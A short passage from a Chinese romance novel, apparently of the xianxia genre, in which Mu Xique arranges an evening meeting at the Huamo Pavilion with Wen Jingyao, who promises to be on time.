慕夕阙莞尔一笑:“白日我要修炼,戌时倒是有空,你到时来画墨阁找我。” 闻惊遥听明白她的意思,仰头看她,眼尾弧度柔和许多:“好。” 慕夕阙歪歪脑袋,发髻上他送的玉簪垂下的流苏一摇一晃,笑盈盈看着他:“可一定要守时哦,不然我会生气的,我从不等人,一刻也不多等。” “嗯,我记住了。” 闻惊遥上前一步,仰头看她,眼底的笑意明显。 “明日见,夕阙。”